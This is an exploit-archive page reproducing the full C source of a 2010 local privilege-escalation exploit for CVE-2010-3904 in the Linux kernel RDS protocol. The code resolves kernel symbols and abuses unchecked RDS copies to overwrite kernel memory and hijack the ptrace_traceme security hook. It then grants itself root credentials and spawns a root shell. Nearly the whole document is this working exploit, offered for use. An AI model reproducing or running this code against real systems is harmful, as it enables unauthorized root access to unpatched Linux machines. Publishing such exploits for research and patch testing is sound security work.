Lucene search

K
seebugRootSSV:70036
HistoryJul 01, 2014 - 12:00 a.m.

Linux Kernel <= 2.6.36-rc8 - RDS Protocol Local Privilege Escalation

2014-07-0100:00:00
Root
www.seebug.org
57

0.001 Low

EPSS

Percentile

37.3%

No description provided by source.


                                                //source: http://www.vsecurity.com/resources/advisory/20101019-1/

/* 
 * Linux Kernel &#60;= 2.6.36-rc8 RDS privilege escalation exploit
 * CVE-2010-3904
 * by Dan Rosenberg &#60;[email protected]&#62;
 *
 * Copyright 2010 Virtual Security Research, LLC
 *
 * The handling functions for sending and receiving RDS messages
 * use unchecked __copy_*_user_inatomic functions without any
 * access checks on user-provided pointers.  As a result, by
 * passing a kernel address as an iovec base address in recvmsg-style
 * calls, a local user can overwrite arbitrary kernel memory, which
 * can easily be used to escalate privileges to root.  Alternatively,
 * an arbitrary kernel read can be performed via sendmsg calls.
 *
 * This exploit is simple - it resolves a few kernel symbols,
 * sets the security_ops to the default structure, then overwrites
 * a function pointer (ptrace_traceme) in that structure to point
 * to the payload.  After triggering the payload, the original
 * value is restored.  Hard-coding the offset of this function
 * pointer is a bit inelegant, but I wanted to keep it simple and
 * architecture-independent (i.e. no inline assembly).
 *
 * The vulnerability is yet another example of why you shouldn&#39;t
 * allow loading of random packet families unless you actually
 * need them.
 *
 * Greets to spender, kees, taviso, hawkes, team lollerskaters,
 * joberheide, bla, sts, and VSR
 *
 */


#include &#60;stdio.h&#62;
#include &#60;unistd.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;fcntl.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;sys/socket.h&#62;
#include &#60;netinet/in.h&#62;
#include &#60;errno.h&#62;
#include &#60;string.h&#62;
#include &#60;sys/ptrace.h&#62;
#include &#60;sys/utsname.h&#62;

#define RECVPORT 5555 
#define SENDPORT 6666

int prep_sock(int port)
{
	
	int s, ret;
	struct sockaddr_in addr;

	s = socket(PF_RDS, SOCK_SEQPACKET, 0);

	if(s &#60; 0) {
		printf(&#34;[*] Could not open socket.\n&#34;);
		exit(-1);
	}
	
	memset(&addr, 0, sizeof(addr));

	addr.sin_addr.s_addr = inet_addr(&#34;127.0.0.1&#34;);
	addr.sin_family = AF_INET;
	addr.sin_port = htons(port);

	ret = bind(s, (struct sockaddr *)&addr, sizeof(addr));

	if(ret &#60; 0) {
		printf(&#34;[*] Could not bind socket.\n&#34;);
		exit(-1);
	}

	return s;

}

void get_message(unsigned long address, int sock)
{

	recvfrom(sock, (void *)address, sizeof(void *), 0,
		 NULL, NULL);

}

void send_message(unsigned long value, int sock)
{
	
	int size, ret;
	struct sockaddr_in recvaddr;
	struct msghdr msg;
	struct iovec iov;
	unsigned long buf;
	
	memset(&recvaddr, 0, sizeof(recvaddr));

	size = sizeof(recvaddr);

	recvaddr.sin_port = htons(RECVPORT);
	recvaddr.sin_family = AF_INET;
	recvaddr.sin_addr.s_addr = inet_addr(&#34;127.0.0.1&#34;);

	memset(&msg, 0, sizeof(msg));
	
	msg.msg_name = &recvaddr;
	msg.msg_namelen = sizeof(recvaddr);
	msg.msg_iovlen = 1;
	
	buf = value;

	iov.iov_len = sizeof(buf);
	iov.iov_base = &buf;

	msg.msg_iov = &iov;

	ret = sendmsg(sock, &msg, 0);
	if(ret &#60; 0) {
		printf(&#34;[*] Something went wrong sending.\n&#34;);
		exit(-1);
	}
}

void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock)
{

	if(!fork()) {
			sleep(1);
			send_message(value, sendsock);
			exit(1);
	}
	else {
		get_message(addr, recvsock);
		wait(NULL);
	}

}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int __attribute__((regparm(3)))
getroot(void * file, void * vma)
{

	commit_creds(prepare_kernel_cred(0));
	return -1;	

}

/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
	FILE *f;
	unsigned long addr;
	char dummy;
	char sname[512];
	struct utsname ver;
	int ret;
	int rep = 0;
	int oldstyle = 0;

	f = fopen(&#34;/proc/kallsyms&#34;, &#34;r&#34;);
	if (f == NULL) {
		f = fopen(&#34;/proc/ksyms&#34;, &#34;r&#34;);
		if (f == NULL)
			goto fallback;
		oldstyle = 1;
	}

repeat:
	ret = 0;
	while(ret != EOF) {
		if (!oldstyle)
			ret = fscanf(f, &#34;%p %c %s\n&#34;, (void **)&addr, &dummy, sname);
		else {
			ret = fscanf(f, &#34;%p %s\n&#34;, (void **)&addr, sname);
			if (ret == 2) {
				char *p;
				if (strstr(sname, &#34;_O/&#34;) || strstr(sname, &#34;_S.&#34;))
					continue;
				p = strrchr(sname, &#39;_&#39;);
				if (p &#62; ((char *)sname + 5) && !strncmp(p - 3, &#34;smp&#34;, 3)) {
					p = p - 4;
					while (p &#62; (char *)sname && *(p - 1) == &#39;_&#39;)
						p--;
					*p = &#39;\0&#39;;
				}
			}
		}
		if (ret == 0) {
			fscanf(f, &#34;%s\n&#34;, sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			fprintf(stdout, &#34; [+] Resolved %s to %p%s\n&#34;, name, (void *)addr, rep ? &#34; (via System.map)&#34; : &#34;&#34;);
			fclose(f);
			return addr;
		}
	}

	fclose(f);
	if (rep)
		return 0;
fallback:
	/* didn&#39;t find the symbol, let&#39;s retry with the System.map
	   dedicated to the pointlessness of Russell Coker&#39;s SELinux
	   test machine (why does he keep upgrading the kernel if
	   &#34;all necessary security can be provided by SE Linux&#34;?)
	*/
	uname(&ver);
	if (strncmp(ver.release, &#34;2.6&#34;, 3))
		oldstyle = 1;
	sprintf(sname, &#34;/boot/System.map-%s&#34;, ver.release);
	f = fopen(sname, &#34;r&#34;);
	if (f == NULL)
		return 0;
	rep = 1;
	goto repeat;
}

int main(int argc, char * argv[])
{
	unsigned long sec_ops, def_ops, cap_ptrace, target;
	int sendsock, recvsock;
	struct utsname ver;

	printf(&#34;[*] Linux kernel &#62;= 2.6.30 RDS socket exploit\n&#34;);
	printf(&#34;[*] by Dan Rosenberg\n&#34;);

	uname(&ver);

	if(strncmp(ver.release, &#34;2.6.3&#34;, 5)) {
		printf(&#34;[*] Your kernel is not vulnerable.\n&#34;);
		return -1;
	}	

	/* Resolve addresses of relevant symbols */
	printf(&#34;[*] Resolving kernel addresses...\n&#34;);
	sec_ops = get_kernel_sym(&#34;security_ops&#34;);
	def_ops = get_kernel_sym(&#34;default_security_ops&#34;);
	cap_ptrace = get_kernel_sym(&#34;cap_ptrace_traceme&#34;);
	commit_creds = (_commit_creds) get_kernel_sym(&#34;commit_creds&#34;);
	prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym(&#34;prepare_kernel_cred&#34;);

	if(!sec_ops || !def_ops || !cap_ptrace || !commit_creds || !prepare_kernel_cred) {
		printf(&#34;[*] Failed to resolve kernel symbols.\n&#34;);
		return -1;
	}

	/* Calculate target */
	target = def_ops + sizeof(void *) + ((11 + sizeof(void *)) & ~(sizeof(void *) - 1));

	sendsock = prep_sock(SENDPORT);
	recvsock = prep_sock(RECVPORT);

	/* Reset security ops */
	printf(&#34;[*] Overwriting security ops...\n&#34;);
	write_to_mem(sec_ops, def_ops, sendsock, recvsock);

	/* Overwrite ptrace_traceme security op fptr */
	printf(&#34;[*] Overwriting function pointer...\n&#34;);
	write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock);

	/* Trigger the payload */
	printf(&#34;[*] Triggering payload...\n&#34;);
	ptrace(PTRACE_TRACEME, 1, NULL, NULL);
	
	/* Restore the ptrace_traceme security op */
	printf(&#34;[*] Restoring function pointer...\n&#34;);
	write_to_mem(target, cap_ptrace, sendsock, recvsock);

	if(getuid()) {
		printf(&#34;[*] Exploit failed to get root.\n&#34;);
		return -1;
	}

	printf(&#34;[*] Got root!\n&#34;);
	execl(&#34;/bin/sh&#34;, &#34;sh&#34;, NULL);

}